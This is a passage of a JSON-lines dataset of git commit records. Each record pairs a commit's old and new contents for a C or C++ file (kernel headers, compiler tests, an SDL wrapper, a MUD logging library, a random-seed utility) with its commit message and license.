,YongYang86\/dealii,lpolster\/dealii,mac-a\/dealii,angelrca\/dealii,danshapero\/dealii,msteigemann\/dealii,flow123d\/dealii,pesser\/dealii,Arezou-gh\/dealii,msteigemann\/dealii,mac-a\/dealii,lue\/dealii,jperryhouts\/dealii,ESeNonFossiIo\/dealii,sairajat\/dealii,shakirbsm\/dealii,andreamola\/dealii,msteigemann\/dealii,lpolster\/dealii,gpitton\/dealii,andreamola\/dealii,EGP-CIG-REU\/dealii,danshapero\/dealii,adamkosik\/dealii,gpitton\/dealii,msteigemann\/dealii,EGP-CIG-REU\/dealii,lue\/dealii,Arezou-gh\/dealii,rrgrove6\/dealii,andreamola\/dealii,natashasharma\/dealii,mtezzele\/dealii,YongYang86\/dealii,rrgrove6\/dealii,naliboff\/dealii,spco\/dealii,sairajat\/dealii,johntfoster\/dealii,naliboff\/dealii,natashasharma\/dealii,danshapero\/dealii,gpitton\/dealii,msteigemann\/dealii,JaeryunYim\/dealii,lpolster\/dealii,flow123d\/dealii,jperryhouts\/dealii,ESeNonFossiIo\/dealii,rrgrove6\/dealii,JaeryunYim\/dealii,sriharisundar\/dealii,angelrca\/dealii,maieneuro\/dealii,kalj\/dealii,danshapero\/dealii,jperryhouts\/dealii,angelrca\/dealii,Arezou-gh\/dealii,nicolacavallini\/dealii,pesser\/dealii,natashasharma\/dealii,mac-a\/dealii,Arezou-gh\/dealii,natashasharma\/dealii,adamkosik\/dealii,ESeNonFossiIo\/dealii,maieneuro\/dealii,mtezzele\/dealii,natashasharma\/dealii,mtezzele\/dealii,JaeryunYim\/dealii,ESeNonFossiIo\/dealii,naliboff\/dealii,kalj\/dealii,ibkim11\/dealii,maieneuro\/dealii,andreamola\/dealii,rrgrove6\/dealii,spco\/dealii,kalj\/dealii,sairajat\/dealii,nicolacavallini\/dealii,lpolster\/dealii,mac-a\/dealii,shakirbsm\/dealii,pesser\/dealii,naliboff\/dealii,kalj\/dealii,angelrca\/dealii,Arezou-gh\/dealii,mac-a\/dealii,adamkosik\/dealii,lue\/dealii,natashasharma\/dealii,rrgrove6\/dealii,YongYang86\/dealii,nicolacavallini\/dealii,gpitton\/dealii,msteigemann\/dealii,shakirbsm\/dealii,adamkosik\/dealii,gpitton\/dealii,maieneuro\/dealii,jperryhouts\/dealii,rrgrove6\/dealii,flow123d\/dealii,nicolacavallini\/dealii,lpolster\/dealii,mtezzele\/dealii,johntfoster\/dealii,spco\/dealii,ibkim11\/dealii,nicolacavallini\/dealii,jperryhouts\/dealii,EGP-CIG-REU\/dealii,spco\/dealii,EGP-CIG-REU\/dealii,shakirbsm\/dealii,EGP-CIG-REU\/dealii,jperryhouts\/dealii,lue\/dealii,JaeryunYim\/dealii,angelrca\/dealii,naliboff\/dealii,sairajat\/dealii,mtezzele\/dealii,ibkim11\/dealii,pesser\/dealii,spco\/dealii,naliboff\/dealii,johntfoster\/dealii,adamkosik\/dealii,adamkosik\/dealii,maieneuro\/dealii,sairajat\/dealii,spco\/dealii,Arezou-gh\/dealii,ESeNonFossiIo\/dealii,Arezou-gh\/dealii,mtezzele\/dealii,lpolster\/dealii,lue\/dealii,gpitton\/dealii,pesser\/dealii,naliboff\/dealii,sriharisundar\/dealii,natashasharma\/dealii,sriharisundar\/dealii,angelrca\/dealii,ibkim11\/dealii,ESeNonFossiIo\/dealii,EGP-CIG-REU\/dealii"}
{"commit":"799d09c40076c5187d25f489963f2a112cb7703b","old_file":"sys\/sys\/devfsext.h","new_file":"sys\/sys\/devfsext.h","old_contents":"\/* usual BSD style copyright here *\/\n\/* Written by Julian Elischer (julian@dialix.oz.au)*\/\n\/*\n * $Id: devfsext.h,v 1.6 1996\/01\/21 09:03:04 julian Exp $\n *\/\n\n#ifndef _SYS_DEVFSECT_H_\n#define _SYS_DEVFSECT_H_ 1\nvoid *devfs_add_devsw(char *path,\n\t\tchar *name,\n\t\tvoid *devsw,\n\t\tint minor,\n\t\tint chrblk,\n\t\tuid_t uid,\n\t\tgid_t gid,\n\t\tint perms)  ; \n\nvoid *devfs_add_devswf(void *devsw,\n\t\tint minor,\n\t\tint chrblk,\n\t\tuid_t uid,\n\t\tgid_t gid,\n\t\tint perms,\n\t\tchar *fmt,\n\t\t...)  ; \n\nvoid *dev_link(char *path,\n\t\tchar *name,\n\t\tvoid *original); \/* the result of a previous dev_link\n\t\t\t\t\tor dev_add operation *\/\n\n\/* remove the device the cookie represents *\/\nvoid devfs_remove_dev(void *devnmp);\n\n#define DV_CHR 0\n#define DV_BLK 1\n#define DV_DEV 2\n\n#endif \/*_SYS_DEVFSECT_H_*\/\n","new_contents":"\/* usual BSD style copyright here *\/\n\/* Written by Julian Elischer (julian@dialix.oz.au)*\/\n\/*\n * $Id: devfsext.h,v 1.7 1996\/01\/25 07:17:05 phk Exp $\n *\/\n\n#ifndef _SYS_DEVFSECT_H_\n#define _SYS_DEVFSECT_H_ 1\nvoid *devfs_add_devsw(char *path,\n\t\tchar *name,\n\t\tvoid *devsw,\n\t\tint minor,\n\t\tint chrblk,\n\t\tuid_t uid,\n\t\tgid_t gid,\n\t\tint perms)  ; \n\nvoid *devfs_add_devswf(void *devsw,\n\t\tint minor,\n\t\tint chrblk,\n\t\tuid_t uid,\n\t\tgid_t gid,\n\t\tint perms,\n\t\tchar *fmt,\n\t\t...)  ; \n\nvoid *dev_link(char *path,\n\t\tchar *name,\n\t\tvoid *original); \/* the result of a previous dev_link\n\t\t\t\t\tor dev_add operation *\/\n\n\/* remove the device the cookie represents *\/\nvoid devfs_remove_dev(void *devnmp);\n\n#define DV_CHR 0\n#define DV_BLK 1\n#define DV_DEV 2\n\n\/* XXX *\/\n#define\tUID_ROOT\t0\n#define\tUID_BIN\t\t3\n#define\tUID_UUCP\t66\n\n\/* XXX *\/\n#define\tGID_WHEEL\t0\n#define\tGID_KMEM\t2\n#define\tGID_OPERATOR\t5\n#define\tGID_BIN\t\t7\n#define\tGID_DIALER\t68\n\n#endif \/*_SYS_DEVFSECT_H_*\/\n","subject":"Define magic uids and gids for use in devfs_add_devsw[f]().","message":"Define magic uids and gids for use in devfs_add_devsw[f]().\n\nThe kernel shouldn't know these values, but there is currently no\nbetter way of setting them.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"40716ab51517f20a322433ac0c9c3f54d7acf2f5","old_file":"cpu\/cc2538\/dev\/cc2538-sensors.h","new_file":"cpu\/cc2538\/dev\/cc2538-sensors.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2015, Zolertia - http:\/\/www.zolertia.com\n * Copyright (c) 2015, University of Bristol - http:\/\/www.bristol.ac.uk\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its\n *    contributors may be used to endorse or promote products derived\n *    from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\/*---------------------------------------------------------------------------*\/\n\/**\n * \\addtogroup cc2538\n * @{\n *\n * \\defgroup cc2538-sensors CC2538 Built-In Sensors\n *\n * Module controlling sensors on the CC2538 SoC (Tmp and VDD3)\n * @{\n *\n * \\file\n * Generic header usable by all CC2538 sensor drivers\n *\/\n\/*---------------------------------------------------------------------------*\/\n#ifndef CC2538_SENSORS_H_\n#define CC2538_SENSORS_H_\n\/*---------------------------------------------------------------------------*\/\n#include \"lib\/sensors.h\"\n#include \"dev\/cc2538-temp-sensor.h\"\n#include \"dev\/vdd3-sensor.h\"\n\/*---------------------------------------------------------------------------*\/\n\/**\n * \\name CC2538 sensor constants\n *\n * These constants are used by various sensors on the CC2538. They can be used\n * to differentiate between raw and converted readings, to configure ADC\n * decimation rate (where applicable).\n * @{\n *\/\n#define CC2538_SENSORS_VALUE_TYPE_RAW         0 \/**< Request the raw reading *\/\n#define CC2538_SENSORS_VALUE_TYPE_CONVERTED   1 \/**< Request the converted reading *\/\n\n#define CC2538_SENSORS_ERROR         0x80000000 \/**< Generic Error *\/\n\/** @} *\/\n\/*---------------------------------------------------------------------------*\/\n#endif \/* CC2538_SENSORS_H_ *\/\n\/*---------------------------------------------------------------------------*\/\n\/**\n * @}\n * @}\n *\/\n","subject":"Add generic header for CC2538 sensors","message":"Add generic header for CC2538 sensors\n","lang":"C","license":"bsd-3-clause","repos":"bluerover\/6lbr,bluerover\/6lbr,MohamedSeliem\/contiki,arurke\/contiki,bluerover\/6lbr,arurke\/contiki,arurke\/contiki,MohamedSeliem\/contiki,MohamedSeliem\/contiki,arurke\/contiki,arurke\/contiki,arurke\/contiki,MohamedSeliem\/contiki,MohamedSeliem\/contiki,arurke\/contiki,bluerover\/6lbr,MohamedSeliem\/contiki,bluerover\/6lbr,bluerover\/6lbr,bluerover\/6lbr,MohamedSeliem\/contiki"}
{"commit":"4577174153ee0fbabc142fee3bf4c178b56ec635","old_file":"test\/CodeGen\/pr41027.c","new_file":"test\/CodeGen\/pr41027.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown -S -O2 -o - %s | FileCheck %s\n\n\/\/ CHECK-LABEL: f:\n\/\/ CHECK:         movl $1, %eax\n\/\/ CHECK-NEXT:    #APP\n\/\/ CHECK-NEXT:    outl %eax, $1\n\/\/ CHECK-NEXT:    #NO_APP\n\nstatic inline void pr41027(unsigned a, unsigned b) {\n  if (__builtin_constant_p(a)) {\n    __asm__ volatile(\"outl %0,%w1\" : : \"a\"(b), \"n\"(a));\n  } else {\n    __asm__ volatile(\"outl %0,%w1\" : : \"a\"(b), \"d\"(a));\n  }\n}\n\nvoid f(unsigned port) {\n  pr41027(1, 1);\n}\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown -S -O2 -o - %s | FileCheck %s\n\n\/\/ CHECK-LABEL: f:\n\/\/ CHECK:         movl $1, %eax\n\/\/ CHECK-NEXT:    #APP\n\/\/ CHECK-NEXT:    outl %eax, $1\n\/\/ CHECK-NEXT:    #NO_APP\n\nstatic inline void pr41027(unsigned a, unsigned b) {\n  if (__builtin_constant_p(a)) {\n    __asm__ volatile(\"outl %0,%w1\" : : \"a\"(b), \"n\"(a));\n  } else {\n    __asm__ volatile(\"outl %0,%w1\" : : \"a\"(b), \"d\"(a));\n  }\n}\n\nvoid f(unsigned port) {\n  pr41027(1, 1);\n}\n","subject":"Add target requirements for those bots which don't handle x86.","message":"Add target requirements for those bots which don't handle x86.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@368202 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"a814f00bae2bc7e43f718c4753c8b8cc5ed53358","old_file":"tests\/regression\/36-octapron\/33-large-int64.c","new_file":"tests\/regression\/36-octapron\/33-large-int64.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nvoid main() {\n  \/\/ requires int64, not int\n  signed long long x, y, z;\n  if (x < y && y < z) {\n    assert(x < y);\n    assert(y < z);\n    assert(x < z);\n\n    if (9223372036854775805 <= x && z <= 9223372036854775807) {\n      assert(x == 9223372036854775805);\n      assert(y == 9223372036854775806);\n      assert(z == 9223372036854775807);\n\n      assert(x != -3);\n      assert(y != -2);\n      assert(z != -1);\n    }\n  }\n}\n","subject":"Add octApron test where int64 is required","message":"Add octApron test where int64 is required\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"e478265659bb85608e72db67e8d15031b39cf15a","old_file":"include\/sdl_wrapper.h","new_file":"include\/sdl_wrapper.h","old_contents":"","new_contents":"#ifndef SDL_WRAPPER_H\n#define SDL_WRAPPER_H 1\n\/\/-------------------------------------------------------------------\n#include <SDL.h>\n#include \"wrapper\/exceptions.h\"\n\/\/-------------------------------------------------------------------\n\nnamespace SDL {\n\ntemplate<class ErrorHandler =Throw>\nclass SDL {\n\tErrorHandler handle_error();\npublic:\n\tSDL(Uint32 flags =0) {\n\t\tif (SDL_Init(flags) != 0) handle_error(SDL_GetError());\n\t}\n\n\t~SDL() {\n\t\tSDL_Quit();\n\t}\n};\n\ntemplate<>\nclass SDL<NoThrow> {\n\tint st;\npublic:\n\tSDL(Uint32 flags =0) :st {SDL_Init(flags)} {}\n\n\tint state() const { return st; }\n\n\t~SDL() {\n\t\tSDL_Quit();\n\t}\n};\n} \/\/namespace\n\/\/-------------------------------------------------------------------\n#endif\n","subject":"Create wrapper for SDL_Init routine","message":"Create wrapper for SDL_Init routine\n","lang":"C","license":"mit","repos":"tagener-noisu\/cxx_sdl"}
{"commit":"af58e8d5600753082455ec1ebedae00a6cf8ba32","old_file":"test\/FrontendC\/2007-10-01-BuildArrayRef.c","new_file":"test\/FrontendC\/2007-10-01-BuildArrayRef.c","old_contents":"\/\/ RUN: not %llvmgcc -S %s -o \/dev\/null |& grep \"error: assignment of read-only location\"\n\/\/ PR 1603\nint func()\n{\n   const int *arr;\n   arr[0] = 1;\n}\n\n","new_contents":"\/\/ RUN: not %llvmgcc_only -c %s -o \/dev\/null |& FileCheck %s\n\/\/ PR 1603\nvoid func()\n{\n   const int *arr;\n   arr[0] = 1;  \/\/ CXHECK: error: assignment of read-only location\n}\n\nstruct foo {\n  int bar;\n};\nstruct foo sfoo = { 0 };\n\nint func2()\n{\n  const struct foo *fp;\n  fp = &sfoo;\n  fp[0].bar = 1;  \/\/ CHECK: error: assignment of read-only member 'bar'\n  return sfoo.bar;\n}\n","subject":"Test case for r113248. Raar 8361341.","message":"Test case for r113248.  Raar 8361341.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@113249 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"2004a168dc481a9b3a2986741507e953efa7afab","old_file":"bindings\/uwp\/uwp-binding\/Microsoft.Azure.IoT.Gateway\/GatewayUwp.h","new_file":"bindings\/uwp\/uwp-binding\/Microsoft.Azure.IoT.Gateway\/GatewayUwp.h","old_contents":"\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n#pragma once\n#include \"pch.h\"\n\n\n#include \"..\\..\\..\\..\\core\\inc\\gateway_ll.h\"\n#include \"IGatewayModule.h\"\n\nnamespace Microsoft { namespace Azure { namespace IoT { namespace Gateway {\n\n\tinterface class IGatewayModule;\n\tref class MessageBus;\n\n\tclass InternalGatewayModule : public IInternalGatewayModule\n\t{\n\tpublic:\n\t\tInternalGatewayModule(IGatewayModule ^moduleImpl) { _moduleImpl = moduleImpl; }\n\t\tvirtual ~InternalGatewayModule() \n\t\t{\n\t\t}\n\n\t\tvoid Module_Create(MESSAGE_BUS_HANDLE busHandle, const void* configuration);\n\t\tvoid Module_Destroy();\n\t\tvoid Module_Receive(MODULE_HANDLE moduleHandle, MESSAGE_HANDLE messageHandle);\n\n\tprivate:\n\t\tIGatewayModule^ _moduleImpl;\n\t};\n\n\tpublic ref class Gateway sealed\n\t{\n\tpublic:\n\t\tGateway(Windows::Foundation::Collections::IVector<Microsoft::Azure::IoT::Gateway::IGatewayModule^>^ modules);\n\t\tvirtual ~Gateway()\n\t\t{\n\t\t\tGateway_LL_UwpDestroy(gateway_handle);\n\t\t\tgateway_handle = nullptr;\n\n\t\t\tVECTOR_destroy(modules_handle);\n\t\t}\n\n\tprivate:\n\t\tVECTOR_HANDLE modules_handle;\n\t\tGATEWAY_HANDLE gateway_handle;\n\t\tMESSAGE_BUS_HANDLE messagebus_handle;\n\n\t\tstd::vector<std::unique_ptr<InternalGatewayModule>> gatewayModulesToDelete;\n\n\t};\n\n}}}};\n\n\n","new_contents":"\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n#pragma once\n#include \"pch.h\"\n\n\n#include \"gateway.h\"\n#include \"IGatewayModule.h\"\n\nnamespace Microsoft { namespace Azure { namespace IoT { namespace Gateway {\n\n\tinterface class IGatewayModule;\n\tref class MessageBus;\n\n\tclass InternalGatewayModule : public IInternalGatewayModule\n\t{\n\tpublic:\n\t\tInternalGatewayModule(IGatewayModule ^moduleImpl) { _moduleImpl = moduleImpl; }\n\t\tvirtual ~InternalGatewayModule() \n\t\t{\n\t\t}\n\n\t\tvoid Module_Create(MESSAGE_BUS_HANDLE busHandle, const void* configuration);\n\t\tvoid Module_Destroy();\n\t\tvoid Module_Receive(MODULE_HANDLE moduleHandle, MESSAGE_HANDLE messageHandle);\n\n\tprivate:\n\t\tIGatewayModule^ _moduleImpl;\n\t};\n\n\tpublic ref class Gateway sealed\n\t{\n\tpublic:\n\t\tGateway(Windows::Foundation::Collections::IVector<Microsoft::Azure::IoT::Gateway::IGatewayModule^>^ modules);\n\t\tvirtual ~Gateway()\n\t\t{\n\t\t\tGateway_LL_UwpDestroy(gateway_handle);\n\t\t\tgateway_handle = nullptr;\n\n\t\t\tVECTOR_destroy(modules_handle);\n\t\t}\n\n\tprivate:\n\t\tVECTOR_HANDLE modules_handle;\n\t\tGATEWAY_HANDLE gateway_handle;\n\t\tMESSAGE_BUS_HANDLE messagebus_handle;\n\n\t\tstd::vector<std::unique_ptr<InternalGatewayModule>> gatewayModulesToDelete;\n\n\t};\n\n}}}};\n\n\n","subject":"Fix gateway header path in UWP","message":"Fix gateway header path in UWP\n","lang":"C","license":"mit","repos":"yaweiw\/azure-iot-gateway-sdk,yaweiw\/azure-iot-gateway-sdk,yaweiw\/azure-iot-gateway-sdk,yaweiw\/azure-iot-gateway-sdk,yaweiw\/azure-iot-gateway-sdk"}
{"commit":"7304ae70f7c369b6dbb47edd3517c4c0c11a0def","old_file":"webkit\/glue\/simple_webmimeregistry_impl.h","new_file":"webkit\/glue\/simple_webmimeregistry_impl.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#ifndef WEBMIMEREGISTRY_IMPL_H_\n#define WEBMIMEREGISTRY_IMPL_H_\n\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebMimeRegistry.h\"\n\nnamespace webkit_glue {\n\nclass SimpleWebMimeRegistryImpl : public WebKit::WebMimeRegistry {\n public:\n  \/\/ WebMimeRegistry methods:\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsJavaScriptMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMediaMIMEType(\n      const WebKit::WebString&, const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsNonImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeForExtension(const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeFromFile(const WebKit::WebString&);\n  virtual WebKit::WebString preferredExtensionForMIMEType(\n      const WebKit::WebString&);\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBMIMEREGISTRY_IMPL_H_\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.  Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#ifndef WEBMIMEREGISTRY_IMPL_H_\n#define WEBMIMEREGISTRY_IMPL_H_\n\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebMimeRegistry.h\"\n\nnamespace webkit_glue {\n\nclass SimpleWebMimeRegistryImpl : public WebKit::WebMimeRegistry {\n public:\n  SimpleWebMimeRegistryImpl() {}\n  virtual ~SimpleWebMimeRegistryImpl() {}\n\n  \/\/ WebMimeRegistry methods:\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsJavaScriptMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsMediaMIMEType(\n      const WebKit::WebString&, const WebKit::WebString&);\n  virtual WebKit::WebMimeRegistry::SupportsType supportsNonImageMIMEType(\n      const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeForExtension(const WebKit::WebString&);\n  virtual WebKit::WebString mimeTypeFromFile(const WebKit::WebString&);\n  virtual WebKit::WebString preferredExtensionForMIMEType(\n      const WebKit::WebString&);\n};\n\n}  \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBMIMEREGISTRY_IMPL_H_\n","subject":"Add a virtual destructor to SimpleWebMimeRegistryImpl so that child class destructors get called correctly.","message":"Add a virtual destructor to SimpleWebMimeRegistryImpl so that child class destructors get called correctly.\n\nBUG=62828\nTEST=No memory leak in TestShellWebMimeRegistryImpl\nReview URL: http:\/\/codereview.chromium.org\/4880002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@65967 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium"}
{"commit":"25f8df84acb951f22eb4c7717cc28a74702b3e7b","old_file":"mud\/lib\/secretlog.c","new_file":"mud\/lib\/secretlog.c","old_contents":"","new_contents":"#include <kotaka\/paths\/system.h>\n\ninherit \"~System\/lib\/struct\/list\";\n\nprivate mapping buffers;\n\nprivate void append_node(string file, string fragment)\n{\n\tmixed **list;\n\n\tif (!buffers) {\n\t\tbuffers = ([ ]);\n\t}\n\n\tlist = buffers[file];\n\n\tif (!list) {\n\t\tlist = ({ nil, nil });\n\t\tbuffers[file] = list;\n\t}\n\n\tlist_append_string(list, fragment);\n}\n\nprivate void write_node(string file)\n{\n\tmixed **list;\n\tmixed *info;\n\n\tlist = buffers[file];\n\n\tinfo = SECRETD->file_info(\"logs\/\" + file + \".log\");\n\n\tif (info && info[0] >= 1 << 25) {\n\t\tSECRETD->remove_file(\"logs\/\" + file + \".log.old\");\n\t\tSECRETD->rename_file(\"logs\/\" + file + \".log\", \"logs\/\" + file + \".log.old\");\n\t}\n\n\tSECRETD->make_dir(\".\");\n\tSECRETD->make_dir(\"logs\");\n\tSECRETD->write_file(\"logs\/\" + file + \".log\", list_front(list));\n\n\tlist_pop_front(list);\n\n\tif (list_empty(list)) {\n\t\tbuffers[file] = nil;\n\t}\n}\n\nstatic nomask void secret_flush()\n{\n\twhile (buffers && map_sizeof(buffers)) {\n\t\tstring *files;\n\t\tint sz;\n\n\t\tfiles = map_indices(buffers);\n\n\t\tsz = sizeof(files);\n\n\t\twrite_node(files[random(sz)]);\n\n\t\tbuffers = nil;\n\t}\n}\n\nstatic void flush()\n{\n\tcall_out(\"secret_flush\", 0);\n}\n\nstatic void write_secret_log(string file, string message)\n{\n\tmixed *mtime;\n\tstring stamp, mstamp;\n\n\tmtime = millitime();\n\n\t\/* ctime format: *\/\n\t\/* Tue Aug  3 14:40:18 1993 *\/\n\t\/* 012345678901234567890123 *\/\n\tstamp = ctime(mtime[0]);\n\tstamp = stamp[0 .. 2] + \", \" + stamp[4 .. 9] + \", \" + stamp[20 .. 23] + \" \" + stamp[11 .. 18];\n\n\tstamp += \".\";\n\n\t\/* millitime resolution is 1m anyway *\/\n\tmstamp = \"\" + floor(mtime[1] * 1000.0 + 0.5);\n\tmstamp = \"000\" + mstamp;\n\tmstamp = mstamp[strlen(mstamp) - 3 ..];\n\n\tstamp += mstamp;\n\n\tappend_node(file, stamp + \" \" + message + \"\\n\");\n\n\tcall_out(\"secret_flush\", 0);\n}\n","subject":"Add library to make secret logs","message":"Add library to make secret logs\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"bb2994d4d628484f1bb1befa0b7098db71d74a4d","old_file":"random.c","new_file":"random.c","old_contents":"#include \"random.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <unistd.h>\n\n\nvoid\nseed_random(void)\n{\n\t\/* Single iteration of Xorshift to get a good seed. *\/\n\tunsigned int seed = time(NULL) ^ getpid();\n\tseed ^= (seed << 19);\n\tseed ^= (seed >> 11);\n\tseed ^= (seed << 9);\n\n\tprintf(\"seed = %u\\n\", seed);\n\tsrandom(seed);\n}\n\n\nint\nrandom_range(int min, int max)\n{\n\tint range, bucket, remainder, r;\n\n\trange = max - min;\n\tbucket = RAND_MAX \/ range;\n\tremainder = RAND_MAX % range;\n\n\twhile ((r = random()) > (RAND_MAX - remainder))\n\t\t;\n\n\treturn min + (r \/ bucket);\n}\n","new_contents":"#include \"random.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <unistd.h>\n\n\nvoid\nseed_random(void)\n{\n\t\/* Single iteration of Xorshift to get a good seed. *\/\n\tunsigned int seed = time(NULL) ^ getpid();\n\tseed ^= (seed << 19);\n\tseed ^= (seed >> 11);\n\tseed ^= (seed << 9);\n\n\tfprintf(stderr, \"seed = %u\\n\", seed);\n\tsrandom(seed);\n}\n\n\nint\nrandom_range(int min, int max)\n{\n\tint range, bucket, remainder, r;\n\n\trange = max - min;\n\tbucket = RAND_MAX \/ range;\n\tremainder = RAND_MAX % range;\n\n\twhile ((r = random()) > (RAND_MAX - remainder))\n\t\t;\n\n\treturn min + (r \/ bucket);\n}\n","subject":"Print seed to stderr, not stdout.","message":"Print seed to stderr, not stdout.\n","lang":"C","license":"mit","repos":"ingramj\/dice"}
